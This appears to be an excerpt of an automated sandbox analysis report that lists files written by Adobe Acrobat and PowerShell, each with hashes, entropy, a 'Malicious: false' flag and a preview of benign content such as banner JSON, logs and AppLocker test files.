SSDEEP:	6:YEQXJ2HXcNPSxHRJYWsGiIPEeOF0YNoAvJfQ1rPeUkwRe9:YvXKX2aDsdTeOiGY16Ukee9
MD5:	BA4D3AB2F86C663006BF26AF0ED0EE77
SHA1:	CEF143F1157FD4FB8DF8D7A689EE3EB078EC5E3A
SHA-256:	33ABB6F01C5C2E930CE5899096EF3200434CB0355190D058583FDB6D704EAB83
SHA-512:	52AAE281514C42E19C7E0515B9868A733F1619D238F22DFDCA61706D753ECB7822FCBABC87953620391EEB1DD53728AC6158DEE43B7D66707CC4B4002B80E3C8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d4fd9f6-9a5a-43c7-bf77-6d6a736d3ed2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736705540855,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.319805893767687
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcNPSxHRJYWsGiIPEeOF0YNoAvJfFldPeUkwRe9:YvXKX2aDsdTeOiGz8Ukee9
MD5:	117A96092A2DBE86389449F1523A6B48
SHA1:	CEADD574BE1DBBB16DAEB90C99EC253B22CD9611
SHA-256:	20B2A1436C9120B033FF0575F494C59EB2BE90AD902A4C2315520ACFD5FBAC40
SHA-512:	644AFC557920A1524D4405BC1F94758872EF01738E121CCAB89BABB12C606C0C59A21861637E7DD024CF653F0A669FC4E75941FD38D134A657651D21ED0A2332
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d4fd9f6-9a5a-43c7-bf77-6d6a736d3ed2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736705540855,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.328618590652037
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcNPSxHRJYWsGiIPEeOF0YNoAvJfzdPeUkwRe9:YvXKX2aDsdTeOiGb8Ukee9
MD5:	357434D6004ECC3F7669AD20CD0CCC9D
SHA1:	0F6FFFACCB3AAA9B6B44F52460ED7FE2530F5039
SHA-256:	BF0B5019AD8BE31EA79E62F780FD9E7F83EA82EC68D1FA57AED1E020A0EDBC08
SHA-512:	C9E2CE89EDB37DBF5F6D551A6D92CD46AD11BEF5C58D0FDBC48BE3767195B24FDD699E0A838247FE194F992C3117AC938BF994C55D49C5DEF30CEE85AF7B29A2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d4fd9f6-9a5a-43c7-bf77-6d6a736d3ed2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736705540855,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.309731955651196
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcNPSxHRJYWsGiIPEeOF0YNoAvJfYdPeUkwRe9:YvXKX2aDsdTeOiGg8Ukee9
MD5:	B507F9D852A0FD5DD3284E705E834A2A
SHA1:	D85DBD713D6C5FB5705786131A0B9B8E5A314873
SHA-256:	532A1921D975ACD70CE1956A9E676C87FAE885C0F47E2AEC73117E1A22EC2BB9
SHA-512:	748E6674440C27ACC44ECEDED4451421B45E3C5A29FF4B0E9E904DBF99F50FC0602F28C4E88F4E9C5A4ABC9EB15060DCE288BD90DA112D3224B072FC45C74D71
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d4fd9f6-9a5a-43c7-bf77-6d6a736d3ed2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736705540855,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.295953665721449
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcNPSxHRJYWsGiIPEeOF0YNoAvJf+dPeUkwRe9:YvXKX2aDsdTeOiG28Ukee9
MD5:	39E7614A8E7754CA2A70FE64E7429BF8
SHA1:	561A59011A3B42F19F8CF348DDC7971350736497
SHA-256:	AC28497E0B128E17B4FA397761566E0280A795674889244C401F6435E57983EB
SHA-512:	1F166B338BB8471E29857C38EBF5F5D77DB7B4B152B17EB87F45270652A87606E2669D94936F52B2965E0643E6419000FFC0E5AA7E6BEC86279AB07554A7B745
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d4fd9f6-9a5a-43c7-bf77-6d6a736d3ed2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736705540855,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.293212167031924
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcNPSxHRJYWsGiIPEeOF0YNoAvJfbPtdPeUkwRe9:YvXKX2aDsdTeOiGDV8Ukee9
MD5:	043B12CC0036C9614359C618701F39C7
SHA1:	8519862399781B4F949EE6A8D7A83700C0E60CBC
SHA-256:	EA1CD0723B5D5104F1B3BD34DAFE233742929DD95845A2F0D77432DDC6EDCA04
SHA-512:	8CB04D6977B0DB663A2988E6161818E62C292CAF9A57ED44B6DE4B8F15E494764928D96B0301C91AF7DD6D3C909E869F7EC1B06CA8C6EE52B2172E1990420E6C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d4fd9f6-9a5a-43c7-bf77-6d6a736d3ed2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736705540855,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2982941900544995
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcNPSxHRJYWsGiIPEeOF0YNoAvJf21rPeUkwRe9:YvXKX2aDsdTeOiG+16Ukee9
MD5:	2CF37DB8DF6D81A5ADDFA5FEE2CC65D0
SHA1:	3B7CA9EA5370D8391427960FC0F796A195F34796
SHA-256:	0321EC42B8DF7357928629CD95911B3EA17DCE5A6AF8BD9A17307E6282F9B55E
SHA-512:	AAE7E3EAE70C33781AB6B8D961088B6549B0EA05452927731B5F221770B71EF4B3C2BBA6C3ECE2A67DC6626958D03B725D5C518774C9A71B0D518561E874D278
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d4fd9f6-9a5a-43c7-bf77-6d6a736d3ed2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736705540855,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.659212887467193
Encrypted:	false
SSDEEP:	24:Yv6XzmeOHamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSifq:Yv/eGBgkDMUJUAh8cvMZ
MD5:	AF353606805354E5058AC9ADE387AEE5
SHA1:	FAE413486EB85D409BE4F78A1AAAC238BAE694AE
SHA-256:	C53343A1539EE732A72C9FFC564C3D12E07E956F326786A21045517E491B8289
SHA-512:	630D37DB3DCA63D5FD20D870F8719C5BCEA609016BF428841E4323A5464AADB3BD1CA27ED56C9F7EF01C678DDAF25738D2F1FDB3E1DEED46CDDC8A68B247D45F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d4fd9f6-9a5a-43c7-bf77-6d6a736d3ed2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736705540855,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.271177068586612
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcNPSxHRJYWsGiIPEeOF0YNoAvJfshHHrPeUkwRe9:YvXKX2aDsdTeOiGUUUkee9
MD5:	0A33110786E67DC59EA9137E519C35A8
SHA1:	EDF6865A8645330350F035E41A2E317B728EAD5E
SHA-256:	71B30F4DFC9E89309BD4830778FE2E89F94354F3D8487AB93D3432312DD36BC8
SHA-512:	0E7EE43788B3E522BD1C1197E1FCAEF16AECA1DF97E72BF51291760184407163E73C04FFBACD7FE68F894D4B3B0F0A9D61F701E18481355151A604A81FBA1E4E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d4fd9f6-9a5a-43c7-bf77-6d6a736d3ed2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736705540855,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.295364677670359
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcNPSxHRJYWsGiIPEeOF0YNoAvJTqgFCrPeUkwRe9:YvXKX2aDsdTeOiGTq16Ukee9
MD5:	39EB0FEE7282411FD6E4653F009E8E06
SHA1:	849BA603F6C45889606EC3562648E7AF372E50FE
SHA-256:	990243EF1598A2F02D992ECABE2FFE22A6759E90A314FB6D80F11625801CED07
SHA-512:	C7FA998020E9319DF75672536654234698D7F5A3553AA8D7199AC8DEF6174AAED2109D5C79E1D6ECE53FA364CE264B5B98449A7EAAE03EA6534A0840FE360349
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d4fd9f6-9a5a-43c7-bf77-6d6a736d3ed2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736705540855,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.124702608817941
Encrypted:	false
SSDEEP:	24:YL1gahYlmayj/vdAYSOA/v+r/bv3//yAM/wyTM/M3H/tj/j0S1/V0lWY/w2NS2Ln:YLbYoSbY/evLAipD+5s5zUhG01h9q3w
MD5:	C4CB3B1A3FDF274DF03F090D6645C8A5
SHA1:	A857BCAA98A4521BBBDFFCFBBEAC92614C3C0A38
SHA-256:	14AFA47F2490D7527AFF09EEBC1EFA12301416F44225027F25E7C434347B38FE
SHA-512:	D51BC2FFC4DA6BF81238A1859AA47305F631673BCAEFF900B90864FF222D334B5B1D2E378592C0C3FDD180DBAF3CF576D01ED06AF33A837CC04AF52A99115E4F
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"62a586014773dd9811a1a4cc06ade2fe","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736530536000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"eab60d9cda243d898ffbfb773b55ec33","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736530535000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"e9ed6d57791def1e27e1be8db9ead758","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736530535000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"90047e2e98aa5c2c64998691aea50816","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736530535000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"da9fc17bc159c2f17a35d0ad98b2a2ad","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736530535000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"dd9059a153f29b00b3cfb01aa61d7d36","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.452959195888578
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsplz:lNVmsw3SHtbDbPe0K3+fDZdo
MD5:	84C38F0ACE6C6A316CBE40CD7DC4E4DA
SHA1:	1550F281C77928DFF7CE1CA7A65FA4E34C73E638
SHA-256:	43DCD874F6EA74C0F202704C562A21DD0D0143D67945F18D47F33F717BAD2746
SHA-512:	B81B5E3DF1ABD95C6CBB76659EA006CB5A2787C719E517CA213C18D23EA1D29C833660AE908A074379211A212C25A7FD1440FF1DF2E79F9A732200ECE9F83B0C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.95917325611922
Encrypted:	false
SSDEEP:	48:7MPrvrBd6dHtbGIbPe0K3+fDy2ds8PqFl2GL7msr:7q3SHtbDbPe0K3+fDZdRKVmsr
MD5:	1ED8A5A7942F4011DCF2C6FBAE1B53E6
SHA1:	A47749684EAC230BBA9E5266C9035181EA2648F1
SHA-256:	5C2AF1244D98177F56C0DF920EBCF68C70ED2D8C084B11163A87D09C4F5C1AE8
SHA-512:	FE17A261541EF86EB061B723595E8C7B2729076DDA674F8F686F75AA75B35F92787B7EBECFF09D66017AAC371237DE78F765784F1E1896282B0316C6F43D5F7A
Malicious:	false
Preview:	.... .c..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgQ2wB5kIGnwYVAHAklFOYIugRYyu:6a6TZ44ADEQ2wBSIGnwKBVRK
MD5:	F492C2C320F3310717AF39E33BB63165
SHA1:	B1D00A3B144E945ECA647A94A69A9F08637798B4
SHA-256:	142BE5A36569EBED9428C222D1E5FA6365AEBE293B3BF221E412CCAEF86851DC
SHA-512:	A0C33DD284D18AD4330E8DC747BA6CF522D6B6B3A7FBD517EBC1AECEF13BDE21FF2C43C4E4E110DB925915F47E9AA86436D17975E7F92E100790CDD7E109C323
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSIbccd6.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5162684137903053
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE3ElQ+rwle:Qw946cPbiOxDlbYnuRK+bD3RIww
MD5:	4E1BD2E753C44C02EA0A2902C3E5134F
SHA1:	9E0436B53B57431864B4F7854AF9D5010B8ADFA3
SHA-256:	F6A531D8CC63596DEA5EEF8740B05F1A60ADCB21803684AEBE85A790FD3F458B
SHA-512:	43840F8F86006A70FD7E176613DCEB332E983AE8B5FE8FBDAAB62C60EBDEDEFC666C074BEAE1A4E051139A079C2950D74895F544675123D086CF88912A5EF7E7
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.2.:.3.5.:.3.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_li2h3an0.shi.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q2ia2dvf.puq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 12-35-29-635.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.343492405500935
Encrypted:	false
SSDEEP:	384:VNDw7Zy7BaLK1TFUwKX15mb/2K/MUCibvgQGMrhqftCWskDjRIe9ZsZcxo6a5eG5:9Td
MD5:	BF29C8814246A0472153843F1BD8C7D0
SHA1:	CE8237B3DF3EA1FD90301C4998D296D68CA3FBA2
SHA-256:	E16439F7AAC9351512D7DB3552941C90A24DAA4EDB6E76FDF336048CC4CB4A45
SHA-512:	01E42851DFD49BD0C29ED971C0AC8CA6205A62E5BFD67D782D1BC3E7A7B4D955CFFD2C4841C792EE6A86F175DBE978BC5D2BDBBC14812AB6210F1561F8A7E47F
Malicious:	false
Preview:	SessionID=ee21bf9a-f01c-4b17-814a-b435ea5da37d.1736530529654 Timestamp=2025-01-10T12:35:29:654-0500 ThreadID=7900 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=ee21bf9a-f01c-4b17-814a-b435ea5da37d.1736530529654 Timestamp=2025-01-10T12:35:29:655-0500 ThreadID=7900 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=ee21bf9a-f01c-4b17-814a-b435ea5da37d.1736530529654 Timestamp=2025-01-10T12:35:29:655-0500 ThreadID=7900 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=ee21bf9a-f01c-4b17-814a-b435ea5da37d.1736530529654 Timestamp=2025-01-10T12:35:29:655-0500 ThreadID=7900 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=ee21bf9a-f01c-4b17-814a-b435ea5da37d.1736530529654 Timestamp=2025-01-10T12:35:29:655-0500 ThreadID=7900 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.410712774560486
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRju:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRI
MD5:	28762F5E425FD717CB5ECD8997D0C165
SHA1:	B9ACA38589752CE59E2355D3AB2F48B165EE19CF
SHA-256:	3103D108F0B7A5B49AEAAB28017673E49E2C1787CD8B33A5D8AF0C2519080982
SHA-512:	3F2C7E28E2ECDA1EA9422A4BE392AD51E897EF04AA74AB838E4967D105E75E728D67F0405BA3C403C1BCF2168D51FD06BEA57EF978AA23BAF06F21171DB39DFF
Malicious:	false
